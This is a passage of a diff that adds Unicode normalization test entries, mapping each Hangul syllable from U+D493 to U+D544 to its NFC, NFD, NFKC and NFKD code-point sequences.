+{ source: [0xD493], NFC: [0xD493], NFD: [0x1111, 0x116E, 0x11C2], NFKC: [0xD493], NFKD: [0x1111, 0x116E, 0x11C2] },
+{ source: [0xD494], NFC: [0xD494], NFD: [0x1111, 0x116F], NFKC: [0xD494], NFKD: [0x1111, 0x116F] },
+{ source: [0xD495], NFC: [0xD495], NFD: [0x1111, 0x116F, 0x11A8], NFKC: [0xD495], NFKD: [0x1111, 0x116F, 0x11A8] },
+{ source: [0xD496], NFC: [0xD496], NFD: [0x1111, 0x116F, 0x11A9], NFKC: [0xD496], NFKD: [0x1111, 0x116F, 0x11A9] },
+{ source: [0xD497], NFC: [0xD497], NFD: [0x1111, 0x116F, 0x11AA], NFKC: [0xD497], NFKD: [0x1111, 0x116F, 0x11AA] },
+{ source: [0xD498], NFC: [0xD498], NFD: [0x1111, 0x116F, 0x11AB], NFKC: [0xD498], NFKD: [0x1111, 0x116F, 0x11AB] },
+{ source: [0xD499], NFC: [0xD499], NFD: [0x1111, 0x116F, 0x11AC], NFKC: [0xD499], NFKD: [0x1111, 0x116F, 0x11AC] },
+{ source: [0xD49A], NFC: [0xD49A], NFD: [0x1111, 0x116F, 0x11AD], NFKC: [0xD49A], NFKD: [0x1111, 0x116F, 0x11AD] },
+{ source: [0xD49B], NFC: [0xD49B], NFD: [0x1111, 0x116F, 0x11AE], NFKC: [0xD49B], NFKD: [0x1111, 0x116F, 0x11AE] },
+{ source: [0xD49C], NFC: [0xD49C], NFD: [0x1111, 0x116F, 0x11AF], NFKC: [0xD49C], NFKD: [0x1111, 0x116F, 0x11AF] },
+{ source: [0xD49D], NFC: [0xD49D], NFD: [0x1111, 0x116F, 0x11B0], NFKC: [0xD49D], NFKD: [0x1111, 0x116F, 0x11B0] },
+{ source: [0xD49E], NFC: [0xD49E], NFD: [0x1111, 0x116F, 0x11B1], NFKC: [0xD49E], NFKD: [0x1111, 0x116F, 0x11B1] },
+{ source: [0xD49F], NFC: [0xD49F], NFD: [0x1111, 0x116F, 0x11B2], NFKC: [0xD49F], NFKD: [0x1111, 0x116F, 0x11B2] },
+{ source: [0xD4A0], NFC: [0xD4A0], NFD: [0x1111, 0x116F, 0x11B3], NFKC: [0xD4A0], NFKD: [0x1111, 0x116F, 0x11B3] },
+{ source: [0xD4A1], NFC: [0xD4A1], NFD: [0x1111, 0x116F, 0x11B4], NFKC: [0xD4A1], NFKD: [0x1111, 0x116F, 0x11B4] },
+{ source: [0xD4A2], NFC: [0xD4A2], NFD: [0x1111, 0x116F, 0x11B5], NFKC: [0xD4A2], NFKD: [0x1111, 0x116F, 0x11B5] },
+{ source: [0xD4A3], NFC: [0xD4A3], NFD: [0x1111, 0x116F, 0x11B6], NFKC: [0xD4A3], NFKD: [0x1111, 0x116F, 0x11B6] },
+{ source: [0xD4A4], NFC: [0xD4A4], NFD: [0x1111, 0x116F, 0x11B7], NFKC: [0xD4A4], NFKD: [0x1111, 0x116F, 0x11B7] },
+{ source: [0xD4A5], NFC: [0xD4A5], NFD: [0x1111, 0x116F, 0x11B8], NFKC: [0xD4A5], NFKD: [0x1111, 0x116F, 0x11B8] },
+{ source: [0xD4A6], NFC: [0xD4A6], NFD: [0x1111, 0x116F, 0x11B9], NFKC: [0xD4A6], NFKD: [0x1111, 0x116F, 0x11B9] },
+{ source: [0xD4A7], NFC: [0xD4A7], NFD: [0x1111, 0x116F, 0x11BA], NFKC: [0xD4A7], NFKD: [0x1111, 0x116F, 0x11BA] },
+{ source: [0xD4A8], NFC: [0xD4A8], NFD: [0x1111, 0x116F, 0x11BB], NFKC: [0xD4A8], NFKD: [0x1111, 0x116F, 0x11BB] },
+{ source: [0xD4A9], NFC: [0xD4A9], NFD: [0x1111, 0x116F, 0x11BC], NFKC: [0xD4A9], NFKD: [0x1111, 0x116F, 0x11BC] },
+{ source: [0xD4AA], NFC: [0xD4AA], NFD: [0x1111, 0x116F, 0x11BD], NFKC: [0xD4AA], NFKD: [0x1111, 0x116F, 0x11BD] },
+{ source: [0xD4AB], NFC: [0xD4AB], NFD: [0x1111, 0x116F, 0x11BE], NFKC: [0xD4AB], NFKD: [0x1111, 0x116F, 0x11BE] },
+{ source: [0xD4AC], NFC: [0xD4AC], NFD: [0x1111, 0x116F, 0x11BF], NFKC: [0xD4AC], NFKD: [0x1111, 0x116F, 0x11BF] },
+{ source: [0xD4AD], NFC: [0xD4AD], NFD: [0x1111, 0x116F, 0x11C0], NFKC: [0xD4AD], NFKD: [0x1111, 0x116F, 0x11C0] },
+{ source: [0xD4AE], NFC: [0xD4AE], NFD: [0x1111, 0x116F, 0x11C1], NFKC: [0xD4AE], NFKD: [0x1111, 0x116F, 0x11C1] },
+{ source: [0xD4AF], NFC: [0xD4AF], NFD: [0x1111, 0x116F, 0x11C2], NFKC: [0xD4AF], NFKD: [0x1111, 0x116F, 0x11C2] },
+{ source: [0xD4B0], NFC: [0xD4B0], NFD: [0x1111, 0x1170], NFKC: [0xD4B0], NFKD: [0x1111, 0x1170] },
+{ source: [0xD4B1], NFC: [0xD4B1], NFD: [0x1111, 0x1170, 0x11A8], NFKC: [0xD4B1], NFKD: [0x1111, 0x1170, 0x11A8] },
+{ source: [0xD4B2], NFC: [0xD4B2], NFD: [0x1111, 0x1170, 0x11A9], NFKC: [0xD4B2], NFKD: [0x1111, 0x1170, 0x11A9] },
+{ source: [0xD4B3], NFC: [0xD4B3], NFD: [0x1111, 0x1170, 0x11AA], NFKC: [0xD4B3], NFKD: [0x1111, 0x1170, 0x11AA] },
+{ source: [0xD4B4], NFC: [0xD4B4], NFD: [0x1111, 0x1170, 0x11AB], NFKC: [0xD4B4], NFKD: [0x1111, 0x1170, 0x11AB] },
+{ source: [0xD4B5], NFC: [0xD4B5], NFD: [0x1111, 0x1170, 0x11AC], NFKC: [0xD4B5], NFKD: [0x1111, 0x1170, 0x11AC] },
+{ source: [0xD4B6], NFC: [0xD4B6], NFD: [0x1111, 0x1170, 0x11AD], NFKC: [0xD4B6], NFKD: [0x1111, 0x1170, 0x11AD] },
+{ source: [0xD4B7], NFC: [0xD4B7], NFD: [0x1111, 0x1170, 0x11AE], NFKC: [0xD4B7], NFKD: [0x1111, 0x1170, 0x11AE] },
+{ source: [0xD4B8], NFC: [0xD4B8], NFD: [0x1111, 0x1170, 0x11AF], NFKC: [0xD4B8], NFKD: [0x1111, 0x1170, 0x11AF] },
+{ source: [0xD4B9], NFC: [0xD4B9], NFD: [0x1111, 0x1170, 0x11B0], NFKC: [0xD4B9], NFKD: [0x1111, 0x1170, 0x11B0] },
+{ source: [0xD4BA], NFC: [0xD4BA], NFD: [0x1111, 0x1170, 0x11B1], NFKC: [0xD4BA], NFKD: [0x1111, 0x1170, 0x11B1] },
+{ source: [0xD4BB], NFC: [0xD4BB], NFD: [0x1111, 0x1170, 0x11B2], NFKC: [0xD4BB], NFKD: [0x1111, 0x1170, 0x11B2] },
+{ source: [0xD4BC], NFC: [0xD4BC], NFD: [0x1111, 0x1170, 0x11B3], NFKC: [0xD4BC], NFKD: [0x1111, 0x1170, 0x11B3] },
+{ source: [0xD4BD], NFC: [0xD4BD], NFD: [0x1111, 0x1170, 0x11B4], NFKC: [0xD4BD], NFKD: [0x1111, 0x1170, 0x11B4] },
+{ source: [0xD4BE], NFC: [0xD4BE], NFD: [0x1111, 0x1170, 0x11B5], NFKC: [0xD4BE], NFKD: [0x1111, 0x1170, 0x11B5] },
+{ source: [0xD4BF], NFC: [0xD4BF], NFD: [0x1111, 0x1170, 0x11B6], NFKC: [0xD4BF], NFKD: [0x1111, 0x1170, 0x11B6] },
+{ source: [0xD4C0], NFC: [0xD4C0], NFD: [0x1111, 0x1170, 0x11B7], NFKC: [0xD4C0], NFKD: [0x1111, 0x1170, 0x11B7] },
+{ source: [0xD4C1], NFC: [0xD4C1], NFD: [0x1111, 0x1170, 0x11B8], NFKC: [0xD4C1], NFKD: [0x1111, 0x1170, 0x11B8] },
+{ source: [0xD4C2], NFC: [0xD4C2], NFD: [0x1111, 0x1170, 0x11B9], NFKC: [0xD4C2], NFKD: [0x1111, 0x1170, 0x11B9] },
+{ source: [0xD4C3], NFC: [0xD4C3], NFD: [0x1111, 0x1170, 0x11BA], NFKC: [0xD4C3], NFKD: [0x1111, 0x1170, 0x11BA] },
+{ source: [0xD4C4], NFC: [0xD4C4], NFD: [0x1111, 0x1170, 0x11BB], NFKC: [0xD4C4], NFKD: [0x1111, 0x1170, 0x11BB] },
+{ source: [0xD4C5], NFC: [0xD4C5], NFD: [0x1111, 0x1170, 0x11BC], NFKC: [0xD4C5], NFKD: [0x1111, 0x1170, 0x11BC] },
+{ source: [0xD4C6], NFC: [0xD4C6], NFD: [0x1111, 0x1170, 0x11BD], NFKC: [0xD4C6], NFKD: [0x1111, 0x1170, 0x11BD] },
+{ source: [0xD4C7], NFC: [0xD4C7], NFD: [0x1111, 0x1170, 0x11BE], NFKC: [0xD4C7], NFKD: [0x1111, 0x1170, 0x11BE] },
+{ source: [0xD4C8], NFC: [0xD4C8], NFD: [0x1111, 0x1170, 0x11BF], NFKC: [0xD4C8], NFKD: [0x1111, 0x1170, 0x11BF] },
+{ source: [0xD4C9], NFC: [0xD4C9], NFD: [0x1111, 0x1170, 0x11C0], NFKC: [0xD4C9], NFKD: [0x1111, 0x1170, 0x11C0] },
+{ source: [0xD4CA], NFC: [0xD4CA], NFD: [0x1111, 0x1170, 0x11C1], NFKC: [0xD4CA], NFKD: [0x1111, 0x1170, 0x11C1] },
+{ source: [0xD4CB], NFC: [0xD4CB], NFD: [0x1111, 0x1170, 0x11C2], NFKC: [0xD4CB], NFKD: [0x1111, 0x1170, 0x11C2] },
+{ source: [0xD4CC], NFC: [0xD4CC], NFD: [0x1111, 0x1171], NFKC: [0xD4CC], NFKD: [0x1111, 0x1171] },
+{ source: [0xD4CD], NFC: [0xD4CD], NFD: [0x1111, 0x1171, 0x11A8], NFKC: [0xD4CD], NFKD: [0x1111, 0x1171, 0x11A8] },
+{ source: [0xD4CE], NFC: [0xD4CE], NFD: [0x1111, 0x1171, 0x11A9], NFKC: [0xD4CE], NFKD: [0x1111, 0x1171, 0x11A9] },
+{ source: [0xD4CF], NFC: [0xD4CF], NFD: [0x1111, 0x1171, 0x11AA], NFKC: [0xD4CF], NFKD: [0x1111, 0x1171, 0x11AA] },
+{ source: [0xD4D0], NFC: [0xD4D0], NFD: [0x1111, 0x1171, 0x11AB], NFKC: [0xD4D0], NFKD: [0x1111, 0x1171, 0x11AB] },
+{ source: [0xD4D1], NFC: [0xD4D1], NFD: [0x1111, 0x1171, 0x11AC], NFKC: [0xD4D1], NFKD: [0x1111, 0x1171, 0x11AC] },
+{ source: [0xD4D2], NFC: [0xD4D2], NFD: [0x1111, 0x1171, 0x11AD], NFKC: [0xD4D2], NFKD: [0x1111, 0x1171, 0x11AD] },
+{ source: [0xD4D3], NFC: [0xD4D3], NFD: [0x1111, 0x1171, 0x11AE], NFKC: [0xD4D3], NFKD: [0x1111, 0x1171, 0x11AE] },
+{ source: [0xD4D4], NFC: [0xD4D4], NFD: [0x1111, 0x1171, 0x11AF], NFKC: [0xD4D4], NFKD: [0x1111, 0x1171, 0x11AF] },
+{ source: [0xD4D5], NFC: [0xD4D5], NFD: [0x1111, 0x1171, 0x11B0], NFKC: [0xD4D5], NFKD: [0x1111, 0x1171, 0x11B0] },
+{ source: [0xD4D6], NFC: [0xD4D6], NFD: [0x1111, 0x1171, 0x11B1], NFKC: [0xD4D6], NFKD: [0x1111, 0x1171, 0x11B1] },
+{ source: [0xD4D7], NFC: [0xD4D7], NFD: [0x1111, 0x1171, 0x11B2], NFKC: [0xD4D7], NFKD: [0x1111, 0x1171, 0x11B2] },
+{ source: [0xD4D8], NFC: [0xD4D8], NFD: [0x1111, 0x1171, 0x11B3], NFKC: [0xD4D8], NFKD: [0x1111, 0x1171, 0x11B3] },
+{ source: [0xD4D9], NFC: [0xD4D9], NFD: [0x1111, 0x1171, 0x11B4], NFKC: [0xD4D9], NFKD: [0x1111, 0x1171, 0x11B4] },
+{ source: [0xD4DA], NFC: [0xD4DA], NFD: [0x1111, 0x1171, 0x11B5], NFKC: [0xD4DA], NFKD: [0x1111, 0x1171, 0x11B5] },
+{ source: [0xD4DB], NFC: [0xD4DB], NFD: [0x1111, 0x1171, 0x11B6], NFKC: [0xD4DB], NFKD: [0x1111, 0x1171, 0x11B6] },
+{ source: [0xD4DC], NFC: [0xD4DC], NFD: [0x1111, 0x1171, 0x11B7], NFKC: [0xD4DC], NFKD: [0x1111, 0x1171, 0x11B7] },
+{ source: [0xD4DD], NFC: [0xD4DD], NFD: [0x1111, 0x1171, 0x11B8], NFKC: [0xD4DD], NFKD: [0x1111, 0x1171, 0x11B8] },
+{ source: [0xD4DE], NFC: [0xD4DE], NFD: [0x1111, 0x1171, 0x11B9], NFKC: [0xD4DE], NFKD: [0x1111, 0x1171, 0x11B9] },
+{ source: [0xD4DF], NFC: [0xD4DF], NFD: [0x1111, 0x1171, 0x11BA], NFKC: [0xD4DF], NFKD: [0x1111, 0x1171, 0x11BA] },
+{ source: [0xD4E0], NFC: [0xD4E0], NFD: [0x1111, 0x1171, 0x11BB], NFKC: [0xD4E0], NFKD: [0x1111, 0x1171, 0x11BB] },
+{ source: [0xD4E1], NFC: [0xD4E1], NFD: [0x1111, 0x1171, 0x11BC], NFKC: [0xD4E1], NFKD: [0x1111, 0x1171, 0x11BC] },
+{ source: [0xD4E2], NFC: [0xD4E2], NFD: [0x1111, 0x1171, 0x11BD], NFKC: [0xD4E2], NFKD: [0x1111, 0x1171, 0x11BD] },
+{ source: [0xD4E3], NFC: [0xD4E3], NFD: [0x1111, 0x1171, 0x11BE], NFKC: [0xD4E3], NFKD: [0x1111, 0x1171, 0x11BE] },
+{ source: [0xD4E4], NFC: [0xD4E4], NFD: [0x1111, 0x1171, 0x11BF], NFKC: [0xD4E4], NFKD: [0x1111, 0x1171, 0x11BF] },
+{ source: [0xD4E5], NFC: [0xD4E5], NFD: [0x1111, 0x1171, 0x11C0], NFKC: [0xD4E5], NFKD: [0x1111, 0x1171, 0x11C0] },
+{ source: [0xD4E6], NFC: [0xD4E6], NFD: [0x1111, 0x1171, 0x11C1], NFKC: [0xD4E6], NFKD: [0x1111, 0x1171, 0x11C1] },
+{ source: [0xD4E7], NFC: [0xD4E7], NFD: [0x1111, 0x1171, 0x11C2], NFKC: [0xD4E7], NFKD: [0x1111, 0x1171, 0x11C2] },
+{ source: [0xD4E8], NFC: [0xD4E8], NFD: [0x1111, 0x1172], NFKC: [0xD4E8], NFKD: [0x1111, 0x1172] },
+{ source: [0xD4E9], NFC: [0xD4E9], NFD: [0x1111, 0x1172, 0x11A8], NFKC: [0xD4E9], NFKD: [0x1111, 0x1172, 0x11A8] },
+{ source: [0xD4EA], NFC: [0xD4EA], NFD: [0x1111, 0x1172, 0x11A9], NFKC: [0xD4EA], NFKD: [0x1111, 0x1172, 0x11A9] },
+{ source: [0xD4EB], NFC: [0xD4EB], NFD: [0x1111, 0x1172, 0x11AA], NFKC: [0xD4EB], NFKD: [0x1111, 0x1172, 0x11AA] },
+{ source: [0xD4EC], NFC: [0xD4EC], NFD: [0x1111, 0x1172, 0x11AB], NFKC: [0xD4EC], NFKD: [0x1111, 0x1172, 0x11AB] },
+{ source: [0xD4ED], NFC: [0xD4ED], NFD: [0x1111, 0x1172, 0x11AC], NFKC: [0xD4ED], NFKD: [0x1111, 0x1172, 0x11AC] },
+{ source: [0xD4EE], NFC: [0xD4EE], NFD: [0x1111, 0x1172, 0x11AD], NFKC: [0xD4EE], NFKD: [0x1111, 0x1172, 0x11AD] },
+{ source: [0xD4EF], NFC: [0xD4EF], NFD: [0x1111, 0x1172, 0x11AE], NFKC: [0xD4EF], NFKD: [0x1111, 0x1172, 0x11AE] },
+{ source: [0xD4F0], NFC: [0xD4F0], NFD: [0x1111, 0x1172, 0x11AF], NFKC: [0xD4F0], NFKD: [0x1111, 0x1172, 0x11AF] },
+{ source: [0xD4F1], NFC: [0xD4F1], NFD: [0x1111, 0x1172, 0x11B0], NFKC: [0xD4F1], NFKD: [0x1111, 0x1172, 0x11B0] },
+{ source: [0xD4F2], NFC: [0xD4F2], NFD: [0x1111, 0x1172, 0x11B1], NFKC: [0xD4F2], NFKD: [0x1111, 0x1172, 0x11B1] },
+{ source: [0xD4F3], NFC: [0xD4F3], NFD: [0x1111, 0x1172, 0x11B2], NFKC: [0xD4F3], NFKD: [0x1111, 0x1172, 0x11B2] },
+{ source: [0xD4F4], NFC: [0xD4F4], NFD: [0x1111, 0x1172, 0x11B3], NFKC: [0xD4F4], NFKD: [0x1111, 0x1172, 0x11B3] },
+{ source: [0xD4F5], NFC: [0xD4F5], NFD: [0x1111, 0x1172, 0x11B4], NFKC: [0xD4F5], NFKD: [0x1111, 0x1172, 0x11B4] },
+{ source: [0xD4F6], NFC: [0xD4F6], NFD: [0x1111, 0x1172, 0x11B5], NFKC: [0xD4F6], NFKD: [0x1111, 0x1172, 0x11B5] },
+{ source: [0xD4F7], NFC: [0xD4F7], NFD: [0x1111, 0x1172, 0x11B6], NFKC: [0xD4F7], NFKD: [0x1111, 0x1172, 0x11B6] },
+{ source: [0xD4F8], NFC: [0xD4F8], NFD: [0x1111, 0x1172, 0x11B7], NFKC: [0xD4F8], NFKD: [0x1111, 0x1172, 0x11B7] },
+{ source: [0xD4F9], NFC: [0xD4F9], NFD: [0x1111, 0x1172, 0x11B8], NFKC: [0xD4F9], NFKD: [0x1111, 0x1172, 0x11B8] },
+{ source: [0xD4FA], NFC: [0xD4FA], NFD: [0x1111, 0x1172, 0x11B9], NFKC: [0xD4FA], NFKD: [0x1111, 0x1172, 0x11B9] },
+{ source: [0xD4FB], NFC: [0xD4FB], NFD: [0x1111, 0x1172, 0x11BA], NFKC: [0xD4FB], NFKD: [0x1111, 0x1172, 0x11BA] },
+{ source: [0xD4FC], NFC: [0xD4FC], NFD: [0x1111, 0x1172, 0x11BB], NFKC: [0xD4FC], NFKD: [0x1111, 0x1172, 0x11BB] },
+{ source: [0xD4FD], NFC: [0xD4FD], NFD: [0x1111, 0x1172, 0x11BC], NFKC: [0xD4FD], NFKD: [0x1111, 0x1172, 0x11BC] },
+{ source: [0xD4FE], NFC: [0xD4FE], NFD: [0x1111, 0x1172, 0x11BD], NFKC: [0xD4FE], NFKD: [0x1111, 0x1172, 0x11BD] },
+{ source: [0xD4FF], NFC: [0xD4FF], NFD: [0x1111, 0x1172, 0x11BE], NFKC: [0xD4FF], NFKD: [0x1111, 0x1172, 0x11BE] },
+{ source: [0xD500], NFC: [0xD500], NFD: [0x1111, 0x1172, 0x11BF], NFKC: [0xD500], NFKD: [0x1111, 0x1172, 0x11BF] },
+{ source: [0xD501], NFC: [0xD501], NFD: [0x1111, 0x1172, 0x11C0], NFKC: [0xD501], NFKD: [0x1111, 0x1172, 0x11C0] },
+{ source: [0xD502], NFC: [0xD502], NFD: [0x1111, 0x1172, 0x11C1], NFKC: [0xD502], NFKD: [0x1111, 0x1172, 0x11C1] },
+{ source: [0xD503], NFC: [0xD503], NFD: [0x1111, 0x1172, 0x11C2], NFKC: [0xD503], NFKD: [0x1111, 0x1172, 0x11C2] },
+{ source: [0xD504], NFC: [0xD504], NFD: [0x1111, 0x1173], NFKC: [0xD504], NFKD: [0x1111, 0x1173] },
+{ source: [0xD505], NFC: [0xD505], NFD: [0x1111, 0x1173, 0x11A8], NFKC: [0xD505], NFKD: [0x1111, 0x1173, 0x11A8] },
+{ source: [0xD506], NFC: [0xD506], NFD: [0x1111, 0x1173, 0x11A9], NFKC: [0xD506], NFKD: [0x1111, 0x1173, 0x11A9] },
+{ source: [0xD507], NFC: [0xD507], NFD: [0x1111, 0x1173, 0x11AA], NFKC: [0xD507], NFKD: [0x1111, 0x1173, 0x11AA] },
+{ source: [0xD508], NFC: [0xD508], NFD: [0x1111, 0x1173, 0x11AB], NFKC: [0xD508], NFKD: [0x1111, 0x1173, 0x11AB] },
+{ source: [0xD509], NFC: [0xD509], NFD: [0x1111, 0x1173, 0x11AC], NFKC: [0xD509], NFKD: [0x1111, 0x1173, 0x11AC] },
+{ source: [0xD50A], NFC: [0xD50A], NFD: [0x1111, 0x1173, 0x11AD], NFKC: [0xD50A], NFKD: [0x1111, 0x1173, 0x11AD] },
+{ source: [0xD50B], NFC: [0xD50B], NFD: [0x1111, 0x1173, 0x11AE], NFKC: [0xD50B], NFKD: [0x1111, 0x1173, 0x11AE] },
+{ source: [0xD50C], NFC: [0xD50C], NFD: [0x1111, 0x1173, 0x11AF], NFKC: [0xD50C], NFKD: [0x1111, 0x1173, 0x11AF] },
+{ source: [0xD50D], NFC: [0xD50D], NFD: [0x1111, 0x1173, 0x11B0], NFKC: [0xD50D], NFKD: [0x1111, 0x1173, 0x11B0] },
+{ source: [0xD50E], NFC: [0xD50E], NFD: [0x1111, 0x1173, 0x11B1], NFKC: [0xD50E], NFKD: [0x1111, 0x1173, 0x11B1] },
+{ source: [0xD50F], NFC: [0xD50F], NFD: [0x1111, 0x1173, 0x11B2], NFKC: [0xD50F], NFKD: [0x1111, 0x1173, 0x11B2] },
+{ source: [0xD510], NFC: [0xD510], NFD: [0x1111, 0x1173, 0x11B3], NFKC: [0xD510], NFKD: [0x1111, 0x1173, 0x11B3] },
+{ source: [0xD511], NFC: [0xD511], NFD: [0x1111, 0x1173, 0x11B4], NFKC: [0xD511], NFKD: [0x1111, 0x1173, 0x11B4] },
+{ source: [0xD512], NFC: [0xD512], NFD: [0x1111, 0x1173, 0x11B5], NFKC: [0xD512], NFKD: [0x1111, 0x1173, 0x11B5] },
+{ source: [0xD513], NFC: [0xD513], NFD: [0x1111, 0x1173, 0x11B6], NFKC: [0xD513], NFKD: [0x1111, 0x1173, 0x11B6] },
+{ source: [0xD514], NFC: [0xD514], NFD: [0x1111, 0x1173, 0x11B7], NFKC: [0xD514], NFKD: [0x1111, 0x1173, 0x11B7] },
+{ source: [0xD515], NFC: [0xD515], NFD: [0x1111, 0x1173, 0x11B8], NFKC: [0xD515], NFKD: [0x1111, 0x1173, 0x11B8] },
+{ source: [0xD516], NFC: [0xD516], NFD: [0x1111, 0x1173, 0x11B9], NFKC: [0xD516], NFKD: [0x1111, 0x1173, 0x11B9] },
+{ source: [0xD517], NFC: [0xD517], NFD: [0x1111, 0x1173, 0x11BA], NFKC: [0xD517], NFKD: [0x1111, 0x1173, 0x11BA] },
+{ source: [0xD518], NFC: [0xD518], NFD: [0x1111, 0x1173, 0x11BB], NFKC: [0xD518], NFKD: [0x1111, 0x1173, 0x11BB] },
+{ source: [0xD519], NFC: [0xD519], NFD: [0x1111, 0x1173, 0x11BC], NFKC: [0xD519], NFKD: [0x1111, 0x1173, 0x11BC] },
+{ source: [0xD51A], NFC: [0xD51A], NFD: [0x1111, 0x1173, 0x11BD], NFKC: [0xD51A], NFKD: [0x1111, 0x1173, 0x11BD] },
+{ source: [0xD51B], NFC: [0xD51B], NFD: [0x1111, 0x1173, 0x11BE], NFKC: [0xD51B], NFKD: [0x1111, 0x1173, 0x11BE] },
+{ source: [0xD51C], NFC: [0xD51C], NFD: [0x1111, 0x1173, 0x11BF], NFKC: [0xD51C], NFKD: [0x1111, 0x1173, 0x11BF] },
+{ source: [0xD51D], NFC: [0xD51D], NFD: [0x1111, 0x1173, 0x11C0], NFKC: [0xD51D], NFKD: [0x1111, 0x1173, 0x11C0] },
+{ source: [0xD51E], NFC: [0xD51E], NFD: [0x1111, 0x1173, 0x11C1], NFKC: [0xD51E], NFKD: [0x1111, 0x1173, 0x11C1] },
+{ source: [0xD51F], NFC: [0xD51F], NFD: [0x1111, 0x1173, 0x11C2], NFKC: [0xD51F], NFKD: [0x1111, 0x1173, 0x11C2] },
+{ source: [0xD520], NFC: [0xD520], NFD: [0x1111, 0x1174], NFKC: [0xD520], NFKD: [0x1111, 0x1174] },
+{ source: [0xD521], NFC: [0xD521], NFD: [0x1111, 0x1174, 0x11A8], NFKC: [0xD521], NFKD: [0x1111, 0x1174, 0x11A8] },
+{ source: [0xD522], NFC: [0xD522], NFD: [0x1111, 0x1174, 0x11A9], NFKC: [0xD522], NFKD: [0x1111, 0x1174, 0x11A9] },
+{ source: [0xD523], NFC: [0xD523], NFD: [0x1111, 0x1174, 0x11AA], NFKC: [0xD523], NFKD: [0x1111, 0x1174, 0x11AA] },
+{ source: [0xD524], NFC: [0xD524], NFD: [0x1111, 0x1174, 0x11AB], NFKC: [0xD524], NFKD: [0x1111, 0x1174, 0x11AB] },
+{ source: [0xD525], NFC: [0xD525], NFD: [0x1111, 0x1174, 0x11AC], NFKC: [0xD525], NFKD: [0x1111, 0x1174, 0x11AC] },
+{ source: [0xD526], NFC: [0xD526], NFD: [0x1111, 0x1174, 0x11AD], NFKC: [0xD526], NFKD: [0x1111, 0x1174, 0x11AD] },
+{ source: [0xD527], NFC: [0xD527], NFD: [0x1111, 0x1174, 0x11AE], NFKC: [0xD527], NFKD: [0x1111, 0x1174, 0x11AE] },
+{ source: [0xD528], NFC: [0xD528], NFD: [0x1111, 0x1174, 0x11AF], NFKC: [0xD528], NFKD: [0x1111, 0x1174, 0x11AF] },
+{ source: [0xD529], NFC: [0xD529], NFD: [0x1111, 0x1174, 0x11B0], NFKC: [0xD529], NFKD: [0x1111, 0x1174, 0x11B0] },
+{ source: [0xD52A], NFC: [0xD52A], NFD: [0x1111, 0x1174, 0x11B1], NFKC: [0xD52A], NFKD: [0x1111, 0x1174, 0x11B1] },
+{ source: [0xD52B], NFC: [0xD52B], NFD: [0x1111, 0x1174, 0x11B2], NFKC: [0xD52B], NFKD: [0x1111, 0x1174, 0x11B2] },
+{ source: [0xD52C], NFC: [0xD52C], NFD: [0x1111, 0x1174, 0x11B3], NFKC: [0xD52C], NFKD: [0x1111, 0x1174, 0x11B3] },
+{ source: [0xD52D], NFC: [0xD52D], NFD: [0x1111, 0x1174, 0x11B4], NFKC: [0xD52D], NFKD: [0x1111, 0x1174, 0x11B4] },
+{ source: [0xD52E], NFC: [0xD52E], NFD: [0x1111, 0x1174, 0x11B5], NFKC: [0xD52E], NFKD: [0x1111, 0x1174, 0x11B5] },
+{ source: [0xD52F], NFC: [0xD52F], NFD: [0x1111, 0x1174, 0x11B6], NFKC: [0xD52F], NFKD: [0x1111, 0x1174, 0x11B6] },
+{ source: [0xD530], NFC: [0xD530], NFD: [0x1111, 0x1174, 0x11B7], NFKC: [0xD530], NFKD: [0x1111, 0x1174, 0x11B7] },
+{ source: [0xD531], NFC: [0xD531], NFD: [0x1111, 0x1174, 0x11B8], NFKC: [0xD531], NFKD: [0x1111, 0x1174, 0x11B8] },
+{ source: [0xD532], NFC: [0xD532], NFD: [0x1111, 0x1174, 0x11B9], NFKC: [0xD532], NFKD: [0x1111, 0x1174, 0x11B9] },
+{ source: [0xD533], NFC: [0xD533], NFD: [0x1111, 0x1174, 0x11BA], NFKC: [0xD533], NFKD: [0x1111, 0x1174, 0x11BA] },
+{ source: [0xD534], NFC: [0xD534], NFD: [0x1111, 0x1174, 0x11BB], NFKC: [0xD534], NFKD: [0x1111, 0x1174, 0x11BB] },
+{ source: [0xD535], NFC: [0xD535], NFD: [0x1111, 0x1174, 0x11BC], NFKC: [0xD535], NFKD: [0x1111, 0x1174, 0x11BC] },
+{ source: [0xD536], NFC: [0xD536], NFD: [0x1111, 0x1174, 0x11BD], NFKC: [0xD536], NFKD: [0x1111, 0x1174, 0x11BD] },
+{ source: [0xD537], NFC: [0xD537], NFD: [0x1111, 0x1174, 0x11BE], NFKC: [0xD537], NFKD: [0x1111, 0x1174, 0x11BE] },
+{ source: [0xD538], NFC: [0xD538], NFD: [0x1111, 0x1174, 0x11BF], NFKC: [0xD538], NFKD: [0x1111, 0x1174, 0x11BF] },
+{ source: [0xD539], NFC: [0xD539], NFD: [0x1111, 0x1174, 0x11C0], NFKC: [0xD539], NFKD: [0x1111, 0x1174, 0x11C0] },
+{ source: [0xD53A], NFC: [0xD53A], NFD: [0x1111, 0x1174, 0x11C1], NFKC: [0xD53A], NFKD: [0x1111, 0x1174, 0x11C1] },
+{ source: [0xD53B], NFC: [0xD53B], NFD: [0x1111, 0x1174, 0x11C2], NFKC: [0xD53B], NFKD: [0x1111, 0x1174, 0x11C2] },
+{ source: [0xD53C], NFC: [0xD53C], NFD: [0x1111, 0x1175], NFKC: [0xD53C], NFKD: [0x1111, 0x1175] },
+{ source: [0xD53D], NFC: [0xD53D], NFD: [0x1111, 0x1175, 0x11A8], NFKC: [0xD53D], NFKD: [0x1111, 0x1175, 0x11A8] },
+{ source: [0xD53E], NFC: [0xD53E], NFD: [0x1111, 0x1175, 0x11A9], NFKC: [0xD53E], NFKD: [0x1111, 0x1175, 0x11A9] },
+{ source: [0xD53F], NFC: [0xD53F], NFD: [0x1111, 0x1175, 0x11AA], NFKC: [0xD53F], NFKD: [0x1111, 0x1175, 0x11AA] },
+{ source: [0xD540], NFC: [0xD540], NFD: [0x1111, 0x1175, 0x11AB], NFKC: [0xD540], NFKD: [0x1111, 0x1175, 0x11AB] },
+{ source: [0xD541], NFC: [0xD541], NFD: [0x1111, 0x1175, 0x11AC], NFKC: [0xD541], NFKD: [0x1111, 0x1175, 0x11AC] },
+{ source: [0xD542], NFC: [0xD542], NFD: [0x1111, 0x1175, 0x11AD], NFKC: [0xD542], NFKD: [0x1111, 0x1175, 0x11AD] },
+{ source: [0xD543], NFC: [0xD543], NFD: [0x1111, 0x1175, 0x11AE], NFKC: [0xD543], NFKD: [0x1111, 0x1175, 0x11AE] },
+{ source: [0xD544], NFC: [0xD544], NFD: [0x1111, 0x1175, 0x11AF], NFKC: [0xD544], NFKD: [0x1111, 0x1175, 0x11AF] },
